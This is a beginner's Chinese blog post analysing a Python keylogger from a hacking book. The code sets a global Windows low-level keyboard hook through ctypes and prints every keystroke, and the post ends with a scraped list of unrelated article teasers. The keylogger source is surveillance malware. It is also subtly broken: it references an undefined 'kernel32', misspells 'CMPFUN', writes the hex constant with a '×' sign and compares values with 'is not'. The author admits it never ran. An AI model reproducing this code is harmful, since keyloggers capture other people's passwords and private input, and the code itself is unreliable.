最近从图书馆借到一本书《Python黑客攻防入门》,感觉里面的提供的代码模块对自己深有感触(主要我超菜),所以打算尝试写点小分析,希望大家能谅解本人的语言组织与技术分析。

希望有人来讨论......

python 3.7版本

代码块

import sys

from ctypes import *

from ctypes.wintypes import MSG

from ctypes.wintypes import DWORD

#调用WIN32中的API

user32= windll.user32 #以windll加载user32.dll文件

kernel=windll.kernel32 #加载kernel32.dll文件

WH_KEYBOARD_LL=13 #安装一个监视低级键盘输入事件的钩子过程

WM_KEYDOWN=0×0100 #按下一个非系统键时将消息发送给具有键盘焦点窗口(不与ALT键连用)

CTRL_CODE =162

#定义挂钩函数

class KeyLogger:

def __init__(self):

#初始化

self.lUser32 =user32

self.hooked =None

#装载钩子

def installHookProc(self,pointer):

self.hooked = self.lUser32.SetWindowsHookExA(

WH_KEYBOARD_LL, #要监视的事件

pointer, #指向钩子过程的指针

kernel32.GetModuleHandleW(None), #要钩取的线程所属的DLL句柄,此函数返回

0 #要钩取的线程ID,为0则表示全局钩子

)

if not self.hooked:

return False #return false阻止向下执行

return True #返回正常结果,正常执行

#定义脱钩函数

def uninstallHookProc(self):

if self.hooked is None:

return #return返回值为None,控制权交回

self.lUser32.UnhookWindowsHookEx(self.hooked) #Unhook函数拆除之前设置的钩子

self.hooked=None

#获取函数指针

def getFPTR(fn):

CMPFUNC = CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))

return CMPFUN(fn)

#定义钩子过程

def hookProc(nCode, wParam, lParam):

if wParam is not WM_KEYDOWN:

return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)

hookedKey = chr(lParam[0])

print(hookedKey)

if(CTRL_CODE == int(lParam[0])):

print("Ctrl pressed,call uninstallHook()")

keyLogger.uninstallHookProc()

sys.exit(-1)

return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

#8.传递消息:GetMessageA()函数函数监视队列,消息进入队列后取出消息,并传递给勾连中的

#第一个钩子

def startKeyLog():

msg = MSG()

user32.GetMessageA(byref(msg), 0, 0, 0)

#9.启动消息钩取,首先创造KeyLogger 类,然后installHookProc()函数设置钩子,同时

#注册钩子过程回调函数。最后调用startKeyLog()函数,将进入队列的消息传递给勾连

keyLogger = KeyLogger()

pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):

print("installed keyLogger")

startKeyLog()

概念理解:

钩子(hook):操作系统为有消息到来或发生鼠标点击、键盘输入等事件时,操作系统提供了中间拦截机制。钩子分为本地钩子和全局钩子。本地钩子针对特定线程设置,全局钩子针对操作系统中运行的所有线程设置。

方法简要:

使用user32.dll提供的SetWindowsHookExA()函数可以设置钩子。

使用python中默认提供的ctypes模块,可以在python程序中调用DLL,使用C语言的变量类型。

MSDN提供对WIN API的使用方法。

总结:

我靠,这程序运行出来命令行一直是黑屏,没反应。是因为360吗,反正我搞了两天这程序没成功,希望有大佬可以伸出援助之手,帮帮小弟...

python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...相关推荐

  1. python 嵌入式数据库_Pysqlite下载 Pysqlite for Windows v2.6.3(嵌入式数据库python api 接口) 下载-脚本之家...

    Pysqlite是针对Windows用户设计的一款Python API接口,安装之后就可以进行数据库的连接.创建和管理,可以将sqlit的操作变得简单起来,详细的操作方法参见下文,需要的朋友赶快下载吧 ...

  2. python群发邮箱软件下载_利用STMP邮件传输协议,实现python群发邮箱脚本!

    (私信小编007即可自动获取大量Python学习资料) 假设你这学期担任某课程的学生助理,老师想布置课程的作业并与下一节课提交,你将作业要求发到了班级群里面,但是很多同学可能没有及时查看群消息,为了稳 ...

  3. python简单小脚本:模拟键盘爬取VirusTotal样本信息

    背景: 当时通宵写incaseformat病毒报告时,有个数据展示需求:根据我们收集整理后的6000个相关样本sha256去VT爬取对应的First Submission.由于之前用过VT提供的API ...

  4. python如何爬虫股票数据_如何抓取股票数据_用Python抓取新浪的股票数据

    python爬虫成长之路(一)抓取证券之星的股票数据 其中编译匹配模式findall方法使用这个匹配模式来匹配所需的信息并以列表的形式返回.正则表达式的语法非常多.下面我只列出使用的符号的含义.匹配除 ...

  5. python淘宝爬虫_简单的抓取淘宝图片的Python爬虫

    写了一个抓taobao图片的爬虫,全是用if,for,while写的,比较简陋,入门作品. 从网页http://mm.taobao.com/json/request_top_list.htm?type ...

  6. 用Python编写小工具下载OSM路网数据

    文章来源于Python大数据分析,作者费弗里 本文对应脚本已上传至Github仓库: https://github.com/CNFeffery/DataScienceStudyNotes[1] 1 简 ...

  7. python电脑下载方法-python 获取机器snpython下载文件的几种常用方法

    python中下载文件常用的几个模块有urllib,urllib2,requests,方法也很简单,代码如下: 002pc.com从python 获取机器snpython下载文件的几种常用方法分析来看 ...

  8. 我的python之路一初识python的自我理解

    初识python的自我理解 关于python的自我简记 我认识的python 怎么开始python的学习和使用 我尝试过的几个python学习的常用组合 关于python的自我简记 初识python是 ...

  9. Python爬虫实战(4):抓取淘宝MM照片

    Python爬虫入门(1):综述 Python爬虫入门(2):爬虫基础了解 Python爬虫入门(3):Urllib库的基本使用 Python爬虫入门(4):Urllib库的高级用法 Python爬虫 ...

最新文章

  1. Android开发之ContentProvider结合LoaderManager加载数据(图文源代码分享)
  2. Xcode 3.2.5免证书开发调试[转]
  3. Matalab类定义
  4. 我做SAP CRM One Order redesign的一些心得体会
  5. CSS3 Flex 弹性布局用法详解
  6. oracle数据库月份日期固定,oracle 日期函数介绍-数据库专栏,ORACLE
  7. centos7设置静态IP地址
  8. OpenCV距离变换函数:distanceTransform()介绍
  9. Java 设置 JLabel 字体 颜色
  10. ibm system x服务器重装系统,IBM X346服务器重装系统_xSeries 346阵列配置
  11. 百度文库如何免费下载
  12. 用计算机求已知两点坐标方位角,python 计算方位角实例(根据两点的坐标计算)
  13. Sqlmap使用-盲注小实验
  14. 企业如何利用BaaS平台快速部署区块链应用落地
  15. java clob 读取_java 实现读取clob
  16. 【B站】在电脑浏览B站视频时,暂停后自动播放的BUG
  17. Java 学习笔记 —— 基础部分
  18. for of与for in的区别
  19. 平安云Redis实践降本增效的背后,竟然是它在支招?
  20. redis(二)使用redis工具类

热门文章

  1. microsoft store打不开,提示代码是: 0x80131500,怎么解决?
  2. 接入腾讯云短信服务(史上最详细+该短信服务如何申请成功+发送短信验证码API讲解+相关错误分析)
  3. MobaXterm——Portable edition迁移账号信息等到新的版本解决方案
  4. Game with Telephone Numbers
  5. 基于matlab的霍夫变换,基于matlab的霍夫变换
  6. og-bin=mysql-bin_TiDB Binlog 常见问题
  7. CentOS 初体验十二:wget下载文件
  8. onTouchEvent
  9. 记一次继承了AbstractAuthenticationProcessingFilter 的过滤器被执行了两次问题
  10. java 的 System.getenv() 和 System.getProperty()